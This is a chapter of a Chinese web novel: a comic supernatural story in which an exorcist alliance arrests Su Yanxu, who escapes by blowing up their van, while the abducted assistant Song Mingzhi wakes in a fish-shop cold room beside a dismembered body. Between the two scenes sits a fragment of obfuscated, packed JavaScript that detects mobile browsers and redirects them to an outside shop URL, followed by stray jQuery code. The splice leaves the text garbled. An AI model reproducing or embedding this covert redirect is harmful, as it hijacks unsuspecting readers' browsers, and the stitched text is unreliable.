哪怕刚发生过跳楼事件,也不影响牛马上班,集团内部的热闹景象和往常无异。
纪靳离一进办公室就坐在电脑前用英语开线上国际会议,宿衍序一个单词都听不懂,只能百无聊赖地躺在真皮沙发上胡乱地翻杂志。
财经板块印着纪靳离的照片,下面的配文是他的辉煌成就——什么年少成名啦,奢饰品界最有话语权的人物啦,登上过世界富翁排行榜等等等等,宿衍序佩服的五体投地,心想同样都是人,怎么差别就能这么大。
他忍不住伸手摸了摸杂志上那张不苟言笑的脸,看着就坐在不远处的纪靳离小声嘟囔:“赚那么多钱还整天板着脸,真是不嫌累……”
门外忽然传来了敲门声,陈亦卿的声音透过门板传进来:“纪总,我来替你的员工送文件。”
宿衍序连忙放下杂志起身开门:“纪总在开会呢。”
陈亦卿扫了眼办公室内部,没有看到宋明志,天师的直觉让他生出些不好的预感:“宋特助呢?”
宿衍序:“停车去了,怎么了?”
“去了多久?”
“差不多十分钟?”
陈亦卿面色严肃地掐了掐手指,拧眉:“不好,宋特助很可能出事了。”
“什么?!”宿衍序难以置信,下意识扭头看向纪靳离。
纪靳离听到了两人的对话,对着电脑说出一句“The meeting is adjourned”,然后“啪”一声把电脑合上。
“找人。”
“好!”宿衍序冲到一半,忽然反应过来:“等等,你刚才说什么酱?”
“……”
“……”
—
停车场。
宿衍序等人赶过来的时候,宋明志已经不见踪影了。
车门大开,车座、车门上满是抓痕,隐约还有几道红黑色的血迹,四周弥漫着淡淡的鱼腥味。
“完了完了完了,我们把宋助理搞丢了!”宿衍序站在车边崩溃地抓着头发,哀嚎道:“他到最后肯定都以为我们会来救他——我对不起他啊!!!!”
纪靳离没眼看:“别嚎了。”
“老板!!!这下该怎么办啊!!!”宿衍序嚎的愈发惨烈。
“……”
陈亦卿上前拍了拍他的肩膀,安慰道:“你先别着急,我已经通知天师盟派人过来了,现场留下的痕迹很多,天师盟的人有办法找到他。”
宿衍序立马扭头握住陈亦卿的手:“真的吗?他们什么时候到?”
陈亦卿一顿,说:“应该快了。”
话音未落,一辆贴着天师盟专属贴纸的货车极速朝他们驶来,最后一个酷帅的漂移擦着三人的衣角停下了。
一群人浩浩荡荡下了车,其中走在最前面、身形壮硕的青年来到陈亦卿面前,恭敬颔首:“师兄。”
陈亦卿“嗯”了声,命令道:“不计一切代价以最快的速度找到宋明志。”
“是!”青年转头看向身后的手下,“都听到了吗?立刻行动!”
“收到!”
一群人开始从车上往下拿做法道具。
青年则盯着宿衍序看了几秒,然后忽然拿出来一张通缉令举起来跟他的脸比对。
宿衍序好奇探头看了一眼通缉令,上面是他鬼鬼祟祟跟在纪靳离身后往居民楼进的照片,最下面有一行红色的小字,写着:赏金五元,如遇到此人请立刻带回天师盟。
宿衍序:“?”羞辱人也要有个度。
青年看着他的脸确认道:“你就是那个没有搜查令擅自撬锁的宿衍序吧。”
“不是啊。”宿衍序指了指自己的乱糟糟的头发,“那个宿什么序的头发也像鸡窝一样吗?”
青年掏出笔在他的头发上画了几道翘起来的粗线,然后点头:“这下就对了——来人,带走。”
几个人上前强行把宿衍序架了起来,他不服挣扎:“五块钱而已,至于吗!”
“不是钱的事。”青年说,“我差抓你一个转正。”
“那你把我的赏金设置高点我就自愿跟你走!”
“行行行。”青年大手一挥把赏金改成了五块二,“带走!”
“我恨你!!!!!”
纪靳离:“……”
陈亦卿上前:“能不能通融一下?”
“师兄,天师盟向来都只按规矩办事,您坏规矩就是打大长老的脸,您确定要这么做?”
陈亦卿蹙眉,语气不善:“你是在教育我?”
青年颔首:“不敢,只是提醒。”
陈亦卿把拳头握的咯吱响。
谁不知道他这个天师盟大少爷最看重的就是爷爷陈寂玄以及他们陈家的脸面,他这么说无疑就是在阴阳挑衅。
“没事没事,反正现在也没找到人,我先去天师盟转一圈,就当是放风了。”宿衍序急忙劝和。
陈亦卿冷着脸不说话了。
宿衍序看看了陈亦卿,又看了看青年,无奈叹了口气,心想还是自己太受欢迎了,总是有人要抢他。
恰在此时纪靳离也看了过来,两人的视线在空中相接,宿衍序倏地挣开左右两边人的手,跑到纪靳离身旁去拉他的胳膊:“老板陪我一起去,我离不开你。”
纪靳离垂眸扫了一眼他放在自己胳膊上的手,冷道:“放手,有洁癖。”
“那我之前碰你的时候你怎么不说?”宿衍序不信,抓的更紧了,“我看你就是把宋特助弄丢了太愧疚所以才朝我撒气的,幼稚!”
纪靳离不悦敛了下眼皮,沉默着被宿衍序拽着上了去天师盟的货车。
改造过的货车车箱后面与驾驶室中间有块透明挡板,车箱上还有一排玻璃窗,不宽不窄,正好够他们看见外面。
宿衍序紧抓着纪靳离的手,另一只手在口袋里翻找着什么。
纪靳离问:“你在找什么。”
“嘘!”宿衍序看了一眼驾驶位上的青年,压低声音:“我有一张爆炸符,我准备把车炸了,然后带着你逃跑。”
纪靳离:“?”
“没事,你等会儿躲我身后,炸不到你。”宿衍序把爆炸符捏在了手里,“就这么点赏金还想抓我,做他的白日梦去吧!”
就在他微微起身准备把爆炸符扔到车门上引爆时,整辆车猛地向前急刹,两人不受控制地向后倒去。
“谁啊这么不长眼敢闯红灯……”青年骂骂咧咧开门下了车。
车箱内,宿衍序跌坐在地上,纪靳离整个人单膝跪地压在了他身上,两人鼻尖轻蹭在一起,然后又立马错开。
周遭的世界仿佛在这一刻安静了。
纪靳离垂眼看着近在咫尺的宿衍序,两人温热的气息彼此交缠,他不自禁吞咽了下,移开目光就要起身,结果宿衍序忽然伸手勾住了他的脖子,眼眸明亮似狡黠的狐狸:“小心哦,要爆炸了。”
纪靳离一怔:“你……”
话还没说完,宿衍序忽然搂紧他的脖子翻身将他护在了身下——
轰隆!!!!
车箱内发生剧烈爆炸,刚打开车门下车准备和路人理论的青年还没来得及开口,就眼睁睁看着刚从天师盟借出来的车被炸成了两截,顿时黑烟四起。
“爆炸了!!快跑!!”
“天呐,天师盟的人车里怎么装着炸弹!啧啧啧!”
周围的路人被吓得纷纷逃窜,青年快步走到后车门旁,看着空空如也的车箱握拳大喊:“宿衍序!!别让我抓到你!!不然我保证让你有来无回!!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909684|213087||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>—
滴答。
滴答。
耳边响起恼人的滴水声,宋明志只感觉头痛欲裂,身体僵硬,仿佛被压在了一块大石头下面。
他拼命蜷了下手指,在稍微缓过来点后艰难地掀开眼皮,映入眼帘的竟是挂满了天花板的数条大鱼。
大鱼通体泛青,眼珠外翻,鱼尾时不时颤动一下,腥臭的血液一滴一滴下落砸在地板上,发出令人头皮发麻的滴答声。
往旁边看,是一张冰冷的金属手术台,因为距离较远加上刚从昏迷中清醒过来视力比较模糊,宋明志只能隐约看到上面躺着一个四分五裂的人影。
一股股恶臭钻进鼻腔,宋明志的胃里翻江倒海,忍不住翻身吐了起来。
“呕……”
宋明志感觉自己快把胆汁吐出来了,胃里疼的直抽抽。
片刻后,他擦了擦嘴,强撑着从地上坐了起来。
宋明志环视四周,发现自己正处在一个类似冷藏室的密闭小房间里,没有窗户,不透风,气温还正在逐渐变低。
他搓了搓起了鸡皮疙瘩的胳膊,双腿因为发软暂时站不起来,只能趴在地上慢慢爬到了厚重的冷库门前。
糟糕的是,这门似乎只能从外面打开。
宋明志呼出一口冷气,终于下定决心看向一旁的手术台。
和他预想的差不多,上面确实是个人,只不过被分成了好几大块,旁边放着几把刀,有大有小有宽有窄。
他强忍着恶心爬过去,撑着手术台勉强站起身,结果在看到尸块肚子里塞着的腐烂鱼肉后又忍不住跪在地上干呕。
该死……
那老头到底是个什么东西,为什么会对鱼这么执着。
“咳咳咳咳咳……”宋明志颤抖着抬起胳膊抹了把嘴角,刚想重新站起来,门口方向便响起了指甲抓挠门板的声音。
他心里一惊,连滚带爬躺回了原位置,将右眼睁开一条缝观察情况。
“咯咯咯咯……家里来客人了,刚杀的鱼还新鲜着呢,他算是有口福喽……”老头颤颤巍巍推开门进来,嘴角带着让人毛骨悚然的僵硬笑容,手里提着一条颜色红的不正常的大鱼。
他走到手术台旁,费力地将大鱼扔到上面,然后拿起杀鱼刀一下一下开始处理鱼肉。
“先刮鱼鳞,然后去鳃,再掏内脏,这样大鱼才能处理干净……”老头边娴熟地处理鱼肉边念叨,每用力剁一下鱼块,宋明志的心就沉一分。
他猜,这个鱼杀完是要给他吃的,如果他不吃,很可能就会变成手术台上那个人的模样。
越想越害怕,宋明志紧张到出了一身虚汗,他艰涩地咽下一口口水,然后看向半开着的冷库门上。
得跑,赶紧跑!
光是预想逃跑路线就耗光了他浑身的力气,他颤抖着吐出一口浊气,抱着大不了就是一死的心情猛地从地上爬起来冲向门口。
快了,快了,还差一步!就差最后一步!
身后全然没了剁肉的声音,四周安静的让人不安,宋明志心跳加速越跑越快,最后扑通一声跪在了门口。
不,不能失败!
他拼命伸手抓住半开的门站起身,用力拉开门就往外跑。
冷藏室外面是一个摆满了鱼缸和冷藏柜的鱼肉铺,店内一片漆黑,只有浅淡的月光从透明的玻璃门透进来,店铺外面寂静无声,一个人影也没有。
宋明志咬牙在店里狂奔,崩溃地拍着玻璃门大喊救命,结果只是徒劳,门打不开,外面也没有人接应。
身后传来沉重的脚步声,他蓦然转身贴在玻璃门上往后看——
杀鱼的老头就站在距离他半米的地方,阴森地扯着嘴角冲他笑。
“咯咯咯,鱼杀好了,过来吃呀……”